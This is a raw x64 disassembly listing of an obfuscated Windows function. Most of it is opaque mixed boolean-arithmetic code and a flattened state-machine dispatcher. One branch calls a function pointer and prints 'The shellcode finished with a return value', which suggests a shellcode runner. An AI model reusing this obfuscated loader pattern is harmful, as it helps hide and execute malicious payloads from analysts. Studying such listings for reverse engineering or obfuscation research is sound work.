mov r10d, edx
xor r10d, r8d
and r10d, edx
mov edi, r12d
not edi
mov edx, r12d
mov ebx, r12d
xor ebx, 0xb8fc4405
and ebx, r12d
mov eax, edi
and eax, 0x4a50878d
and r12d, 0xb5af7872
or r12d, eax
xor r12d, 0xd35e7341
or r12d, edi
and edi, 0xf46bff98
and edx, 0xb940067
or edx, edi
mov eax, edx
xor eax, 0x8840001
xor edx, 0xb0684400
or edx, 0x4703bbfa
mov esi, edx
and esi, 0xf31afb74
and eax, 0x8e40401
or eax, esi
mov esi, ebx
not esi
or edx, esi
and esi, 0xf31afb74
and ebx, 0xce5048b
or ebx, esi
xor ebx, eax
not edx
or edx, ebx
mov eax, edx
not eax
and eax, 0xdd809d3
and edx, 0xf227f62c
or edx, eax
mov edi, edx
xor edi, 0x42d10221
xor edx, 0xb5244dd6
mov eax, edx
and eax, 0x990ef4cc
and edi, 0x66f10b33
or edi, eax
not edi
or edi, edx
mov esi, r9d
not esi
mov eax, r10d
not eax
and r10d, esi
or esi, eax
and eax, r9d
mov r9d, esi
not r9d
or eax, r10d
mov edx, esi
and edx, 0xe4beb4d7
and r9d, 0x1b414b28
or r9d, edx
mov edx, eax
not edx
or esi, edx
and edx, 0xe4beb4d7
and eax, 0x1b414b28
or eax, edx
mov edx, r11d
xor edx, 0x1c7c1fbe
and edx, r11d
xor eax, r9d
mov ebx, edi
not ebx
not esi
or esi, eax
mov ecx, r12d
not ecx
and ecx, edi
or edi, r12d
and r12d, ebx
mov r10d, dword [0x1400968b0]
not edi
or r12d, ecx
mov ecx, edi
and ecx, r12d
xor r12d, edi
or r12d, ecx
mov ecx, esi
not ecx
mov ebx, ecx
and ebx, 0x62e54906
and esi, 0x9d1ab6f9
or esi, ebx
mov ebx, r12d
not ebx
xor esi, 0x62e54906
or esi, ebx
and ebx, 0x8ddde077
and r12d, 0x72221f88
or r12d, ebx
mov eax, esi
not eax
xor r12d, 0x8ddde077
or r12d, ecx
mov ecx, esi
and ecx, 0xc926f676
and eax, 0x36d90989
or eax, ecx
mov ecx, r12d
not ecx
or esi, r12d
and r12d, 0xc926f676
and ecx, 0x36d90989
or ecx, r12d
xor ecx, eax
not esi
or esi, ecx
and r8d, 0x440b9c
and r11d, 0x1c381422
or r11d, r8d
xor r11d, 0x1c381422
mov eax, r11d
and eax, edx
xor edx, r11d
or edx, eax
mov eax, edx
not eax
and eax, 0x21d5e1eb
and edx, 0xde2a1e14
or edx, eax
mov r8d, esi
not r8d
mov eax, r8d
and eax, 0xe9b4b442
mov ebx, esi
and ebx, 0x164b4bbd
or ebx, eax
xor edx, 0x3da9fe55
xor ebx, 0xe9b4b442
or ebx, edx
mov eax, ebx
not eax
xor edx, esi
not edx
and edx, esi
mov edi, edx
not edi
mov ecx, ebx
and ecx, 0x5b2b6f4e
and eax, 0xa4d490b1
or eax, ecx
or ebx, edi
and edi, 0x5b2b6f4e
and edx, 0xa4d490b1
or edx, edi
xor edx, eax
not ebx
or ebx, edx
mov eax, ebx
not eax
and eax, 0xf45961fd
and ebx, 0xba69e02
or ebx, eax
mov eax, ebx
xor eax, 0x8040800
xor ebx, 0xf45961fd
mov ecx, ebx
and ecx, 0xf7abb71a
and eax, 0x85448e5
or eax, ecx
or ebx, esi
and esi, 0xf7abb71a
and r8d, 0x85448e5
or r8d, esi
xor r8d, eax
not ebx
or ebx, r8d
cmp ebx, 0xffffffff
sete r14b
setne r8b
cmp r10d, 0xa
setl r9b
cmp r10d, 9
setg r10b
mov esi, r8d
mov r11d, r9d
xor r11b, r10b
mov r12d, r11d
xor r12b, 1
mov r13d, r11d
and r13b, r12b
mov eax, r13d
and al, r11b
xor r13b, r11b
or r13b, al
mov edi, r13d
xor r13b, 1
and r13b, r9b
or r9b, r14b
mov ebx, r8d
xor bl, r14b
mov eax, ebx
xor al, 1
mov ecx, eax
and cl, bl
xor al, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, al
mov eax, ecx
not al
and al, r14b
mov r15d, r8d
and r15b, cl
or r15b, al
xor r15b, 1
or r15b, r14b
xor r14b, cl
xor r14b, 1
and r14b, cl
xor cl, r8b
and cl, r8b
xor r8b, r10b
or sil, r10b
xor sil, 1
or sil, r8b
mov eax, esi
xor al, 1
xor r9b, 1
or r9b, r8b
mov r8d, r9d
xor r8b, 1
mov ebx, esi
and bl, al
mov edx, esi
xor dl, bl
xor bl, 1
or bl, al
xor bl, 1
or bl, dl
mov eax, ebx
xor al, 1
and al, r9b
and bl, r8b
or bl, al
mov eax, esi
and al, r9b
xor r9b, sil
or r9b, al
mov eax, r9d
xor al, bl
xor bl, 1
xor al, 1
or bl, r9b
xor bl, 1
or bl, al
mov eax, ebx
xor al, r10b
xor bl, al
xor al, 1
or al, bl
mov r8d, eax
mov r9d, eax
xor r8b, 1
mov eax, r12d
xor al, r11b
or r11b, r12b
mov edx, r11d
not dl
and al, r12b
mov ebx, eax
xor bl, 1
and al, r11b
or r11b, bl
xor r11b, 1
and bl, dl
or bl, al
mov eax, r11d
and al, bl
xor bl, r11b
or bl, al
mov eax, ebx
xor al, r10b
and bl, al
and al, r10b
mov edx, ebx
and dl, al
xor al, bl
or al, dl
and dil, r10b
or r13b, dil
mov edx, r10d
and dl, r12b
xor r12b, r10b
or r12b, dl
xor r12b, 1
mov edx, r13d
and dl, r12b
xor r12b, r13b
or r12b, dl
xor r12b, al
and al, r12b
mov edx, r12d
xor dl, al
xor al, 1
xor dl, 1
or al, r12b
xor al, 1
or al, dl
mov edx, r14d
xor dl, 1
xor r14b, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, r14b
mov r10d, ecx
xor r10b, 1
mov edx, r15d
mov ebx, r10d
mov r11d, r15d
mov esi, r10d
mov edi, r15d
and dil, r10b
xor r10b, r15b
xor r15b, 1
and dl, r15b
and bl, cl
xor r11b, dl
xor dl, 1
or dl, r15b
xor dl, 1
or dl, r11b
xor sil, bl
xor bl, 1
or bl, cl
xor bl, 1
or bl, sil
mov ecx, edx
xor cl, 1
and cl, bl
xor bl, 1
and bl, dl
or bl, cl
or r10b, dil
mov ecx, r10d
xor cl, bl
xor bl, 1
xor cl, 1
or bl, r10b
xor bl, 1
or bl, cl
mov r10d, eax
xor r10b, 1
mov edx, ebx
xor dl, 1
mov r11d, edx
and r11b, al
mov r15d, edx
xor r15b, al
or r15b, r11b
xor r15b, 1
and dl, bl
xor dl, 1
mov r11d, ebx
xor r11b, dl
or dl, bl
xor dl, 1
or dl, r11b
and al, dl
xor dl, 1
and dl, r10b
or dl, al
xor dl, 1
or dl, r10b
xor dl, r15b
and r15b, dl
xor r15b, 1
mov eax, r15d
xor al, dl
or r15b, dl
xor r15b, 1
or r15b, al
mov ecx, r9d
and r9b, r8b
mov eax, r9d
xor al, 1
mov r11d, ecx
mov r12d, ecx
xor r11b, r9b
or al, r8b
xor al, 1
or al, r11b
mov edx, eax
xor dl, 1
or dl, al
mov eax, r8d
xor al, cl
and al, r8b
mov esi, eax
and al, dl
xor dl, 1
xor sil, 1
mov ecx, edx
xor cl, sil
and cl, dl
and sil, dl
or sil, al
xor cl, 1
xor sil, 1
mov eax, ecx
xor al, sil
or sil, cl
xor sil, 1
or sil, al
mov edi, esi
xor dil, 1
mov edx, r15d
xor dl, 1
mov ebx, edx
and bl, r15b
mov eax, edx
and al, bl
xor bl, dl
or bl, al
mov r14d, ebx
xor r14b, 1
or dl, r15b
mov eax, r14d
or al, dl
xor dl, bl
xor al, 1
xor dl, 1
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov ecx, edx
mov r15d, esi
or r15b, dil
mov eax, r15d
xor al, 1
mov r10d, esi
and dil, sil
mov edx, esi
and dl, dil
mov byte [rbp - 0x3c], dl
xor dil, sil
mov byte [rbp - 0x48], al
and sil, al
xor r10b, al
or r10b, sil
mov esi, r10d
xor sil, 1
and r9b, r12b
or r9b, r11b
mov r11d, r9d
xor r11b, 1
mov eax, r9d
xor al, r11b
or r11b, r9b
xor r11b, 1
or r11b, al
mov edx, r11d
xor dl, 1
mov eax, ecx
mov byte [rbp - 0x33], cl
mov r12d, ecx
xor r12b, 1
mov r13d, ecx
xor al, r12b
xor r13b, al
xor r13b, 1
and r13b, al
mov eax, r14d
and al, bl
xor r14b, bl
or r14b, al
mov ecx, r14d
xor cl, 1
mov eax, ecx
and al, r14b
xor cl, al
xor al, 1
or al, r14b
xor al, 1
or al, cl
mov ecx, r11d
and cl, dl
xor cl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov ebx, r10d
or bl, sil
xor bl, 1
mov r14d, ecx
xor r14b, 1
or dl, r11b
mov r11d, r10d
and r11b, sil
xor r11b, 1
mov r8d, r11d
xor r8b, sil
or r11b, sil
xor r11b, 1
or r11b, r8b
xor r11b, bl
mov r8d, r10d
xor r8b, bl
or bl, r10b
xor bl, 1
or bl, r8b
xor bl, 1
mov r8d, r11d
and r8b, bl
xor bl, r11b
or bl, r8b
mov r8d, ecx
and r8b, r14b
mov r11d, r8d
and r11b, cl
xor r8b, cl
or r8b, r11b
mov r11d, edx
xor r11b, 1
mov r9d, r8d
xor r9b, 1
and r9b, r11b
and r8b, dl
or r8b, r9b
mov r9d, r14d
and r9b, dl
xor dl, r14b
or dl, r9b
xor dl, 1
mov r9d, r8d
and r9b, dl
xor dl, r8b
or dl, r9b
mov r8d, edx
xor r8b, 1
or r8b, bl
xor bl, 1
or bl, dl
mov edx, r8d
xor dl, bl
or bl, r8b
xor bl, 1
or bl, dl
or r14b, sil
mov r8d, eax
xor r8b, 1
xor cl, r10b
mov edx, r14d
xor dl, cl
xor cl, 1
xor dl, 1
or cl, r14b
xor cl, 1
or cl, dl
mov r9d, ecx
xor r9b, 1
mov edx, ebx
xor dl, 1
and r9b, dl
and bl, cl
or bl, r9b
mov r9d, edx
and r9b, cl
xor dl, cl
or dl, r9b
xor bl, 1
mov ecx, ebx
xor cl, dl
or bl, dl
xor bl, 1
or bl, cl
mov ecx, r13d
xor cl, 1
mov edx, ecx
xor dl, al
xor dl, 1
or dl, cl
or r8b, r13b
xor al, r13b
and al, r13b
mov ecx, r8d
xor cl, al
xor al, 1
xor cl, 1
or al, r8b
xor al, 1
or al, cl
mov ecx, edx
xor cl, al
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
or al, cl
xor al, 1
or al, dl
mov r8d, ebx
xor r8b, 1
mov edx, eax
xor dl, 1
mov ecx, edx
and cl, al
mov r9d, edx
and r9b, cl
xor cl, dl
or cl, r9b
mov r9d, ecx
xor r9b, 1
or dl, al
mov r11d, ebx
and r11b, r8b
mov eax, r11d
xor r11b, r8b
mov r10d, edx
xor r10b, 1
xor al, 1
or al, bl
xor al, 1
or al, r11b
mov ebx, r9d
and bl, cl
mov r8d, r9d
and r8b, bl
xor bl, r9b
or bl, r8b
mov r8d, ebx
xor r8b, 1
and r8b, dl
and bl, r10b
or bl, r8b
xor dl, r9b
or r10b, cl
xor r10b, 1
or r10b, dl
xor r10b, 1
mov ecx, ebx
and cl, r10b
xor r10b, bl
or r10b, cl
mov edx, eax
xor dl, 1
and dl, al
xor dl, 1
mov ecx, eax
xor cl, dl
or dl, al
mov eax, r10d
xor al, 1
and r10b, al
xor dl, 1
or dl, cl
mov ebx, eax
and bl, r10b
xor r10b, al
mov ecx, r12d
mov r11b, byte [rbp - 0x33]
and cl, r11b
or r10b, bl
xor r10b, dl
or dil, byte [rbp - 0x3c]
mov esi, edi
xor sil, 1
mov al, byte [rbp - 0x48]
and r15b, al
mov edx, r15d
and dl, al
xor r15b, al
or r15b, dl
mov ebx, edi
and bl, sil
mov edx, ebx
and dl, dil
xor bl, dil
or bl, dl
mov edx, ebx
xor dl, 1
and dl, r15b
xor r15b, 1
and r15b, bl
or r15b, dl
mov r9d, edi
xor r9b, al
or dil, al
mov r8d, esi
mov edx, r11d
and r8b, r11b
xor sil, r11b
or dl, r12b
xor dl, r12b
xor dil, 1
or dil, r9b
xor dil, 1
mov r9d, r15d
and r9b, dil
xor dil, r15b
or dil, r9b
mov r9d, edx
and r9b, r12b
xor dl, 1
mov r11d, r9d
and r11b, dl
xor dl, r9b
or dl, r11b
mov eax, edx
xor al, 1
and dl, al
mov r9d, eax
and r9b, dl
xor dl, al
or dl, r9b
xor dl, dil
mov eax, ecx
and al, r12b
xor cl, r12b
or cl, al
xor cl, bl
or sil, r8b
xor cl, 1
mov eax, ecx
xor al, sil
or cl, sil
xor cl, 1
or cl, al
mov eax, edx
or al, cl
xor al, 1
xor cl, dl
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
or al, cl
mov edx, ecx
and dl, al
xor al, cl
or dl, al
xor dl, 1
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov eax, edx
xor al, 1
and al, dl
xor al, 1
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
mov edx, eax
and dl, cl
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
mov r11d, edx
xor r11b, 1
xor dl, al
or r11b, cl
xor r11b, 1
or r11b, dl
mov r8d, r11d
xor r8b, 1
mov esi, r10d
xor sil, 1
mov eax, esi
xor al, r10b
and al, sil
mov edx, eax
xor dl, 1
and dl, al
mov r9d, edx
and r9b, al
xor dl, al
or dl, r9b
mov eax, r8d
and al, r11b
xor al, 1
mov r9d, eax
xor r9b, r8b
mov ebx, eax
or bl, r8b
xor bl, 1
or bl, r9b
mov ecx, ebx
xor cl, 1
or cl, dl
xor dl, 1
xor cl, 1
or dl, bl
xor dl, 1
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ecx, r10d
xor r8b, r10b
and r10b, sil
xor cl, r10b
xor r10b, 1
or r10b, sil
xor r10b, 1
or r10b, cl
mov ecx, r11d
xor cl, al
or al, r11b
xor al, 1
or al, cl
mov ecx, r10d
xor cl, 1
and cl, al
xor al, 1
and al, r10b
or al, cl
or sil, r11b
xor sil, 1
or sil, r8b
xor sil, 1
mov ecx, eax
and cl, sil
xor sil, al
or sil, cl
mov ebx, esi
xor bl, 1
mov eax, ebx
and al, sil
mov ecx, eax
xor al, bl
xor cl, 1
or cl, sil
xor cl, 1
or cl, al
mov eax, ecx
xor cl, 1
and cl, dl
xor dl, 1
and al, dl
or cl, al
mov eax, edx
and al, sil
xor dl, sil
or dl, al
mov eax, edx
xor al, cl
test al, 1
mov ebx, 0xd0a0011c
mov eax, 0x64c9891b
cmovne ebx, eax
test dl, 1
mov eax, 0xd0a0011c
cmovne eax, ebx
test cl, 1
cmove eax, ebx
nop word cs:[rax + rax]
cmp eax, 0xf1ebdacb
jle 0x140010ee0
cmp eax, 0x55137439
jle 0x140010f30
cmp eax, 0x6856a8bf
jg 0x1400129a1
cmp eax, 0x5513743a
je 0x140012fef
cmp eax, 0x58ebe7c7
je 0x14001416e
cmp eax, 0x64c9891b
jne 0x140010e60
sub rsp, 0x20
lea rcx, [0x140085bc3]
call sub.api_ms_win_crt_stdio_l1_1_0.dll_puts
add rsp, 0x20
mov rax, qword [rbp - 0x18]
sub rsp, 0x20
call rax
lea rcx, str.___The_shellcode_finished_with_a_return_value:__08X_n
xor edx, edx
call fcn.1400010dc
add rsp, 0x20
mov eax, 0xe4213dbb
cmp eax, 0xf1ebdacb
jg 0x140010e67
nop word cs:[rax + rax]
cmp eax, 0xc1cf7621
jg 0x140012970
cmp eax, 0xaee9eb69
jg 0x140012f02
cmp eax, 0x93b9a16b
je 0x140014189
cmp eax, 0x9c703799
je 0x140014b94
cmp eax, 0xa4cc2aba
jne 0x140010e60
mov eax, 0x4de7e02f
cmp eax, 0xf1ebdacb
jg 0x140010e67
jmp 0x140010ee0
cmp eax, 0x368ceca
jle 0x140012f28
cmp eax, 0x368cecb
je 0x140015872
cmp eax, 0x94e0bb1
je 0x14001588e
cmp eax, 0x4de7e02f
jne 0x140010e60
mov eax, dword [0x1400968b4]
mov r8d, dword [0x1400968b0]
lea r11d, [rax - 1]
imul r11d, eax
mov r9d, r11d
not r9d
mov eax, r9d
and eax, 0xbf7bfcc9
mov ecx, r11d
and ecx, 0x40840336
or ecx, eax
xor ecx, 0x40840336
mov eax, r9d
and eax, r11d
mov edx, ecx
and edx, eax
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xe7bddaa9
and eax, 0x18422556
or eax, ecx
mov ecx, eax
xor ecx, 0x10020110
xor eax, 0xe194d080
and eax, 0xe9d4f4c6
and ecx, 0x162b0b39
or ecx, eax
mov edi, ecx
xor edi, 0x162b0b39
mov eax, r9d
and eax, 0x6adaa6dc
mov ebx, r11d
and ebx, 0x95255923
or ebx, eax
xor ebx, 0x95255923
mov eax, ebx
xor eax, r9d
and eax, ebx
xor ecx, 0xe9d4f4c6
and ecx, eax
not eax
mov edx, edi
xor edx, eax
and edx, edi
and eax, edi
or eax, ecx
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xe0259c4d
and ecx, eax
and eax, 0x1fda63b2
or eax, edx
mov edx, eax
xor edx, 0xc9a0202
xor eax, 0xe0259c4d
mov ebx, ecx
not ebx
mov edi, eax
and edi, 0x9341f1b9
and edx, 0x6cbe0e46
or edx, edi
or eax, ebx
and ebx, 0x9341f1b9
and ecx, 0x6cbe0e46
or ecx, ebx
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
xor edx, 0x4fff2051
and edx, ecx
mov ebx, eax
and ebx, 0xb000dfae
mov edi, edx
and edi, ebx
xor ebx, edx
or ebx, edi
mov edx, ebx
not edx
and edx, 0xa9f06325
and ebx, 0x560f9cda
or ebx, edx
mov edi, ebx
xor edi, 0x20b4344
and eax, 0x5afb1616
mov edx, ecx
and edx, 0xa504e9e9
or edx, eax
xor edx, 0xa504e9e8
and ecx, 0xfffffffe
or ecx, edx
mov eax, ecx
not eax
and eax, 0x49a3266b
and ecx, 0xb65cd994
or ecx, eax
mov eax, ecx
xor eax, 0x2084984
xor ebx, 0x19f0bc8a
xor ecx, 0x49a3266b
mov edx, ebx
and edx, 0xfc74b439
and edi, 0x38b4bc6
or edi, edx
or ebx, ecx
and ecx, 0xfc74b439
and eax, 0x38b4bc6
or eax, ecx
xor eax, edi
not ebx
or ebx, eax
mov eax, ebx
not eax
mov ecx, eax
and ecx, ebx
mov edx, ecx
not edx
mov edi, ebx
and edi, 0x79ba51d8
and eax, 0x8645ae27
or eax, edi
or ebx, edx
and edx, 0x79ba51d8
and ecx, 0x8645ae27
or ecx, edx
xor ecx, eax
not ebx
or ebx, ecx
mov r10d, ebx
mov r14d, ebx
mov ecx, ebx
xor ecx, 0xe1f20822
and ecx, ebx
mov eax, ebx
not eax
mov edx, r9d
and edx, 0xfffffffe
mov ebx, r11d
and ebx, 0xfffffffe
mov edi, r9d
and edi, 1
or edi, ebx
mov ebx, edx
and ebx, edi
xor edi, edx
or edi, ebx
mov edx, edi
xor edx, 0x5bea503
and edx, edi
not edi
and edi, 0x5bea503
mov ebx, edi
and ebx, edx
xor edx, edi
or edx, ebx
mov edi, edx
not edi
and edi, 0x44859ab5
and edx, 0xbb7a654a
or edx, edi
mov edi, edx
xor edi, 0xbec4c049
mov esi, edx
xor esi, 0x413b3fb6
mov ebx, eax
and ebx, 0x571ac723
and r10d, 0xa8e538dc
or r10d, ebx
mov ebx, esi
xor edx, 0x5f36c86b
and esi, edx
and edx, edi
and edi, 0x571ac723
and ebx, 0xa8e538dc
or ebx, edi
xor ebx, r10d
not ebx
or ebx, eax
mov r10d, ebx
not r10d
and eax, 0x21000002
and r14d, 0xc0f20820
or r14d, eax
xor r14d, 0xc0f20820
mov eax, r14d
and eax, ecx
xor ecx, r14d
or ecx, eax
mov eax, esi
not eax
mov edi, edx
not edi
mov r14d, eax
and r14d, 0x569eb73e
and esi, 0xa96148c1
or esi, r14d
or eax, edi
and edi, 0x569eb73e
and edx, 0xa96148c1
or edx, edi
xor edx, esi
not eax
or eax, edx
mov edx, ecx
not edx
and edx, eax
not eax
and eax, ecx
or eax, edx
mov esi, eax
not esi
mov ecx, ebx
or ecx, esi
mov edx, ecx
not edx
and ebx, 0xe6d8b721
and r10d, 0x192748de
or r10d, ebx
and esi, 0xe6d8b721
and eax, 0x192748de
or eax, esi
xor eax, r10d
mov ebx, eax
not ebx
mov edi, ecx
and edi, 0x92a9b8c2
and edx, 0x6d56473d
or edx, edi
or ecx, ebx
and ebx, 0x92a9b8c2
and eax, 0x6d56473d
or eax, ebx
xor eax, edx
not ecx
or ecx, eax
mov ebx, ecx
not ebx
mov eax, ebx
and eax, 0x30420240
mov edx, ecx
and edx, 0x4301087
or edx, eax
xor edx, 0x4301087
mov eax, ecx
and eax, 0xcb8ded38
or eax, edx
mov edx, eax
not edx
and edx, 0xcb8ded38
and eax, 0x347212c7
or eax, edx
mov edx, eax
not edx
and eax, 0x427eae9c
and edx, 0xbd815163
or edx, eax
mov esi, edx
xor esi, 0xbd815163
mov eax, ebx
and eax, 0xd280a8bb
and ecx, 0x2d7f5744
or ecx, eax
xor ecx, 0x2d7f5744
xor ebx, ecx
and ebx, ecx
xor edx, 0x2422490
and edx, 0x8bc225f1
mov ecx, esi
and ecx, 0x743dda0e
or ecx, edx
xor ecx, 0x743dda0e
mov eax, ebx
not eax
mov edx, eax
and edx, 0x56cb6755
and ebx, 0xa93498aa
or ebx, edx
mov r10d, ebx
xor r10d, 0xa93498aa
xor ebx, 0x214e4456
and ebx, r10d
mov r14d, ecx
and r14d, r10d
xor r10d, ecx
and ecx, 0x77852303
and esi, 0x887adcfc
or esi, ecx
or eax, 0x77852303
mov ecx, eax
not ecx
mov edi, ebx
not edi
mov edx, edi
and edx, 0x99670c6f
and ebx, 0x6698f390
or ebx, edx
or edi, eax
and eax, 0x99670c6f
and ecx, 0x18d090
or ecx, eax
xor ecx, ebx
not edi
or edi, ecx
mov eax, esi
not eax
and eax, 0x9af6a44b
and esi, 0x65095bb4
or esi, eax
mov eax, edi
not eax
and eax, 0x9af6a44b
and edi, 0x65095bb4
or edi, eax
xor edi, esi
or r10d, r14d
not r10d
mov eax, edi
and eax, r10d
xor r10d, edi
or r10d, eax
mov eax, r9d
and eax, 0x9084a610
mov ecx, r11d
and ecx, 0x2500003
or ecx, eax
mov eax, ecx
xor eax, 0x2400001
xor ecx, 0xd10ee2e0
mov edx, r9d
or edx, 0x92d4a613
mov esi, edx
not esi
and ecx, 0xd11ee2e2
and eax, 0x2c00411
or eax, ecx
and edx, 0xd11ee2e2
and esi, 0x2c21190c
or esi, edx
xor esi, eax
mov eax, esi
not eax
and eax, 0x6d2b59ec
and esi, 0x92d4a613
or esi, eax
mov ecx, esi
not ecx
and esi, 0xce5a47c6
and ecx, 0x31a5b839
or ecx, esi
mov eax, ecx
xor eax, 0xe9772bd2
xor ecx, 0x31a5b839
and ecx, eax
and r11d, 0x20b0fa18
mov eax, r9d
and eax, 0xdf4f05e7
or eax, r11d
xor eax, 0x79d960c
and r9d, 0x272d6c14
or r9d, eax
mov eax, r9d
not eax
and eax, 0x402d280a
and r9d, 0xbfd2d7f5
or r9d, eax
mov r11d, r9d
xor r11d, 0xbfd2d7f5
mov edx, ecx
mov edi, ecx
xor edi, 0x4e34126
and edi, ecx
not ecx
and ecx, 0xf87dc317
and edx, 0x7823ce8
or edx, ecx
mov r14d, edx
xor r14d, 0x7823ce8
mov r15d, r9d
xor r15d, 0x40090802
mov eax, edx
xor eax, 0xfc9e8231
and eax, r14d
mov ecx, r11d
or ecx, 0xfb1cbed9
mov esi, ecx
not esi
xor r9d, 0xbb3196d3
and r9d, r11d
mov ebx, eax
and ebx, edi
xor edi, eax
or edi, ebx
mov eax, r9d
not eax
mov ebx, ecx
and ebx, 0xeaeb1f23
and esi, 0x4004004
or esi, ebx
or ecx, eax
and eax, 0xeaeb1f23
and r9d, 0x1514e0dc
or r9d, eax
xor r9d, esi
not ecx
or ecx, r9d
mov eax, edi
not eax
and eax, ecx
not ecx
and ecx, edi
or ecx, eax
xor edx, 0xf87dc317
mov eax, edx
and eax, 0xbe34701c
and r14d, 0x41cb8fe3
or r14d, eax
or edx, r11d
and r11d, 0xbe34701c
and r15d, 0x41cb8fe3
or r15d, r11d
xor r15d, r14d
not edx
or edx, r15d
mov eax, edx
not eax
and eax, 0x77052fcb
and edx, 0x88fad034
or edx, eax
xor edx, 0x88fad034
mov eax, ecx
and eax, edx
xor edx, ecx
or edx, eax
mov edi, edx
mov ecx, edx
xor ecx, 0xd8d293eb
and ecx, edx
not edx
and edx, 0x808109
and edi, 0xd85212e2
or edi, edx
mov edx, edi
xor edx, 0x50101042
xor edi, 0x27aded1d
mov ebx, ecx
not ebx
mov eax, edi
and eax, 0x8bef66b5
and edx, 0x5010914a
or edx, eax
or edi, ebx
and ebx, 0x8bef66b5
and ecx, 0x7410994a
or ecx, ebx
xor ecx, edx
not edi
or edi, ecx
mov r11d, edi
not r11d
mov r9d, r10d
mov edx, r10d
mov ebx, r10d
xor ebx, 0xa4fa5578
and ebx, r10d
not r10d
mov esi, r10d
and esi, 0x694be1d4
and r9d, 0x96b41e2b
or r9d, esi
mov ecx, r11d
mov eax, edi
xor eax, 0xa4fa5578
and r11d, eax
and eax, edi
and edi, 0x694be1d4
and ecx, 0x96b41e2b
or ecx, edi
xor ecx, r9d
mov esi, ecx
xor esi, r10d
and esi, ecx
and r10d, 0x20900150
and edx, 0x846a5428
or edx, r10d
xor edx, 0x846a5428
mov ecx, edx
and ecx, ebx
xor ebx, edx
or ebx, ecx
mov edx, r11d
not edx
mov ecx, eax
not ecx
mov edi, edx
and edi, 0x4df44701
and r11d, 0xb20bb8fe
or r11d, edi
or edx, ecx
and ecx, 0x4df44701
and eax, 0xb20bb8fe
or eax, ecx
xor eax, r11d
not edx
or edx, eax
mov eax, ebx
not eax
and eax, edx
not edx
and edx, ebx
or edx, eax
mov r11d, esi
not r11d
mov eax, r11d
and eax, 0xc42a4380
and esi, 0x3bd5bc7f
or esi, eax
mov r9d, esi
xor r9d, 0x940a05d
mov edi, edx
not edi
and edi, 0x7392584c
mov ebx, edx
and ebx, 0x8c6da7b3
or ebx, edi
mov r10d, ebx
xor r10d, 0x8c6da7b3
xor esi, 0xc42a4380
mov edi, esi
or edi, 0xdd362a05
mov eax, edi
not eax
or r11d, 0x22c9d5fa
mov ecx, r11d
not ecx
xor ebx, 0x7392584c
mov r14d, r10d
and r14d, 0x22c9d5fa
and edx, 0xdd362a05
or edx, r14d
and edi, 0xcb1d3ee8
and eax, 0x20c0c112
or eax, edi
and r11d, 0xcb1d3ee8
and ecx, 0x14220005
or ecx, r11d
xor ecx, eax
mov eax, ecx
not eax
and eax, edx
not edx
and edx, ecx
or edx, eax
mov eax, esi
and eax, 0x72b75ca2
and r9d, 0x8d48a35d
or r9d, eax
or esi, ebx
and ebx, 0x72b75ca2
and r10d, 0x8d48a35d
or r10d, ebx
xor r10d, r9d
not esi
or esi, r10d
mov eax, esi
not eax
and eax, 0x78bce694
and esi, 0x8743196b
or esi, eax
mov ecx, esi
xor ecx, 0x83401129
xor esi, 0x78bce694
mov ebx, edx
not ebx
mov eax, ebx
and eax, 0x7ca7c8d6
and edx, 0x83583729
or edx, eax
or ebx, esi
and esi, 0x7ca7c8d6
and ecx, 0x83583729
or ecx, esi
xor ecx, edx
not ebx
or ebx, ecx
mov esi, ebx
not esi
mov ecx, esi
and ecx, 0x662102a
mov eax, ebx
or esi, ebx
and ebx, 0x30180440
or ebx, ecx
xor ebx, 0x30180440
and eax, 0xc985eb95
or eax, ebx
mov ecx, eax
not ecx
and ecx, 0xc985eb95
and eax, 0x367a146a
or eax, ecx
mov edx, eax
not edx
and eax, 0x5048b2a9
and edx, 0xafb74d56
or edx, eax
mov eax, edx
xor eax, 0xafb74d56
mov ecx, edx
xor ecx, 0x4080a1
and ecx, 0x96688e3
xor edx, 0xb9e311b3
and edx, eax
and eax, 0xf699771c
or eax, ecx
xor eax, 0xf699771c
mov r9d, eax
mov ebx, esi
mov r10d, eax
and r10d, esi
xor eax, esi
not esi
and r9d, 0x16545ce5
xor ebx, 0xe9aba31a
and ebx, esi
or esi, 0xe9aba31a
mov edi, esi
not edi
mov ecx, r9d
and ecx, edx
xor edx, r9d
or edx, ecx
mov ecx, ebx
not ecx
mov r9d, esi
and r9d, 0xd8a3e5c
and edi, 0x125440a1
or edi, r9d
or esi, ecx
and ecx, 0xd8a3e5c
and ebx, 0xf275c1a3
or ebx, ecx
xor ebx, edi
not esi
or esi, ebx
mov ecx, edx
not ecx
and ecx, esi
not esi
and esi, edx
or esi, ecx
or eax, r10d
mov ecx, eax
not ecx
and ecx, 0xeb8bb03b
and eax, 0x14744fc4
or eax, ecx
mov edx, eax
xor edx, 0x704384
xor eax, 0xeb8bb03b
mov ecx, esi
not ecx
mov ebx, ecx
and ebx, 0x1f8eac6b
and esi, 0xe0715394
or esi, ebx
or ecx, eax
and eax, 0x1f8eac6b
and edx, 0xe0715394
or edx, eax
xor edx, esi
not ecx
or ecx, edx
mov eax, ecx
not eax
and ecx, eax
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov esi, ecx
not esi
mov eax, ecx
xor eax, 0x73069f77
mov ebx, eax
and ebx, esi
and eax, ecx
mov edi, ebx
and edi, eax
xor eax, ebx
or eax, edi
mov ebx, eax
not ebx
and ebx, 0x73069f77
and eax, 0x8cf96088
or eax, ebx
or esi, ecx
mov edx, esi
not edx
mov ecx, eax
not ecx
mov ebx, ecx
and ebx, 0x70eb7331
and eax, 0x8f148cce
or eax, ebx
or ecx, esi
and esi, 0x70eb7331
and edx, 0x8f148cce
or edx, esi
xor edx, eax
not ecx
or ecx, edx
